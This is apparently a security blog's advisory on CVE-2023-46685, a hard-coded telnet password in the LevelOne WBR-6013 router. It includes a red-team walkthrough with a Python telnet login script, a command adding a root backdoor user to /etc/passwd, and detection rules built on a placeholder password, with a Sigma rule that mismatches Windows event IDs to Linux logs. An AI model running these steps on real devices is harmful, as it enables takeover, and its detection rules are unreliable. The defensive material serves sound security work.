CVE-2023-46685

Executive Summary

CVE-2023-46685 is a critical vulnerability in the LevelOne WBR-6013 router, specifically in firmware version RER4_A_v3411b_2T2R_LEV_09_170623. The flaw resides in the telnetd service, which contains a hard-coded password. This allows an unauthenticated, remote attacker to gain arbitrary command execution on the device with root privileges. The CVSS score of 9.8 reflects the ease of exploitation (no authentication required, network-based) and the severe impact on confidentiality, integrity, and availability. No public proof-of-concept (PoC) or exploit code has been released, and no patch is currently available from the vendor. The EPSS score is 0.0%, indicating low exploitation activity in the wild, but the risk remains high due to the nature of the vulnerability.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a firmware-level issue in an embedded device (router). The supply chain risk is limited to the device's firmware distribution and the lack of vendor patching.

CVSS Breakdown & Threat Level

• CVSS Score: 9.8 (Critical)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Attack Vector: Network (AV:N) – Exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: None (UI:N) – No user action required.
• Scope: Unchanged (S:U) – Impact confined to the vulnerable component.
• Confidentiality Impact: High (C:H) – Full device compromise, data exposure.
• Integrity Impact: High (I:H) – Arbitrary command execution, device takeover.
• Availability Impact: High (A:H) – Potential denial of service or device bricking.

Threat Level: Critical. The hard-coded password in telnetd allows immediate, unauthenticated remote code execution. This is a classic backdoor scenario.

Deep Dive & Mechanics

The vulnerability is a hard-coded password (CWE-798) embedded in the telnetd binary of the LevelOne WBR-6013 firmware. The telnetd service listens on TCP port 23 by default. When a connection is initiated, the service prompts for a username and password. The authentication logic compares the provided credentials against a hard-coded string stored in the binary. If the correct hard-coded password is supplied, the service grants a shell with root privileges.

The exact hard-coded credentials are not publicly disclosed, but they can be extracted through reverse engineering of the firmware binary. Once an attacker authenticates, they can execute arbitrary commands on the device, leading to full compromise. The device can be used as a pivot point for further network attacks, data exfiltration, or as part of a botnet.

The firmware version RER4_A_v3411b_2T2R_LEV_09_170623 is confirmed vulnerable. No patched version has been released by LevelOne.

Vulnerable vs. Patched Code

Since no patch is available, a direct code comparison is not possible. However, the vulnerable code path can be described:

Vulnerable Code (telnetd binary):

// Pseudocode of the vulnerable authentication logic
int authenticate(char *username, char *password) {
    char *hardcoded_user = "admin";
    char *hardcoded_pass = "password123"; // Example, actual value unknown
    if (strcmp(username, hardcoded_user) == 0 && strcmp(password, hardcoded_pass) == 0) {
        return 1; // Grant access
    }
    return 0;
}

Patched Code (Hypothetical):

// Patched version would remove hard-coded credentials and use a secure mechanism
int authenticate(char *username, char *password) {
    // Use a secure, configurable authentication method (e.g., RADIUS, local user database)
    // No hard-coded passwords
    return check_credentials(username, password);
}

The fix would involve removing the hard-coded password and implementing a secure authentication mechanism, such as a configurable user database or integration with an external authentication server.

Exploitation & Lab Setup

Red Team

Objective: Gain root shell access to the LevelOne WBR-6013 router.

Prerequisites:

• Target device with firmware version RER4_A_v3411b_2T2R_LEV_09_170623.
• Network connectivity to the device's telnet port (23).
• Knowledge of the hard-coded credentials (obtained via reverse engineering).

Steps:

1. Reconnaissance: Scan the target network for devices with port 23 open.

   nmap -p 23 --open 192.168.1.0/24
   

2. Connect to telnet:

   telnet 192.168.1.1
   

3. Authenticate: Provide the hard-coded username and password (example, actual values unknown).

   Username: admin
   Password: password123
   

4. Execute commands: Once logged in, execute arbitrary commands.

   id
   uname -a
   cat /etc/passwd
   

5. Establish persistence: Add a backdoor user or install a reverse shell.

   echo "backdoor:$1$xyz$...:0:0:root:/root:/bin/sh" >> /etc/passwd
   

Exploit Code (Python):

import telnetlib

target = "192.168.1.1"
username = "admin"
password = "password123"  # Replace with actual hard-coded password

tn = telnetlib.Telnet(target)
tn.read_until(b"login: ")
tn.write(username.encode('ascii') + b"\n")
tn.read_until(b"Password: ")
tn.write(password.encode('ascii') + b"\n")
tn.write(b"id\n")
tn.write(b"exit\n")
print(tn.read_all().decode('ascii'))

Blue Team

Objective: Detect and prevent exploitation of the hard-coded password vulnerability.

Detection:

• Monitor for unauthorized telnet connections to the device.
• Look for authentication attempts using known hard-coded credentials.
• Use network segmentation to limit access to the device's management interfaces.

Prevention:

• Disable telnet service if not required.
• Change the default credentials if possible (though the vulnerability is hard-coded, not configurable).
• Apply network access control lists (ACLs) to restrict telnet access to trusted IPs only.
• Monitor for firmware updates from LevelOne.

Honeypot Setup:

• Deploy a honeypot mimicking the LevelOne WBR-6013 telnet service to capture attacker behavior.

Indicators of Compromise (IOCs)

• Network IOCs:
  • Unauthorized telnet connections to the device (TCP/23).
  • Authentication attempts with hard-coded credentials.
  • Outbound connections from the device to unknown IPs (command and control).
• File IOCs:
  • Modified /etc/passwd or /etc/shadow files.
  • Presence of unauthorized binaries or scripts in /tmp or /root.
• System IOCs:
  • Unexpected processes running as root.
  • Changes to system configuration files.
  • Unusual network traffic from the device.

Detection Engineering

YARA Rule

rule CVE_2023_46685_LevelOne_Hardcoded_Password {
    meta:
        description = "Detects hard-coded password strings in LevelOne WBR-6013 firmware"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2023-46685"
    strings:
        $hardcoded_pass = "password123" // Example, replace with actual
        $telnetd_string = "telnetd"
    condition:
        $telnetd_string and $hardcoded_pass
}

Sigma Rule

title: Detection of Hard-Coded Password Exploitation in LevelOne WBR-6013
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects successful authentication using hard-coded credentials on LevelOne WBR-6013 telnet service
author: Valters IT
logsource:
    category: authentication
    product: linux
detection:
    selection:
        EventID: 4648  # Explicit credential use
        TargetServerName: "*LevelOne*"
        LogonProcessName: "telnet"
    condition: selection
falsepositives:
    - Legitimate administrative access (if credentials are changed)
level: critical

Suricata Rule

alert tcp $EXTERNAL_NET any -> $HOME_NET 23 (msg:"CVE-2023-46685 LevelOne WBR-6013 Hard-Coded Password Exploitation"; flow:to_server,established; content:"admin"; content:"password123"; distance:0; within:100; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable telnet service on the device if not required.
2. Restrict network access to the device's management interfaces using firewalls or ACLs.
3. Monitor logs for unauthorized telnet connections.

Long-Term Actions:

1. Contact LevelOne for a firmware patch. If unavailable, consider replacing the device.
2. Implement network segmentation to isolate vulnerable devices.
3. Use a VPN for remote management instead of exposing telnet to the network.
4. Regularly audit firmware versions and apply updates when available.

Workaround:

• If telnet is required, consider using SSH instead (if supported) and disable telnet.
• Change the device's default credentials (though this does not fix the hard-coded password vulnerability, it may prevent some attacks).

Valters IT
DevSecOps & Cyber Threat Intelligence Expert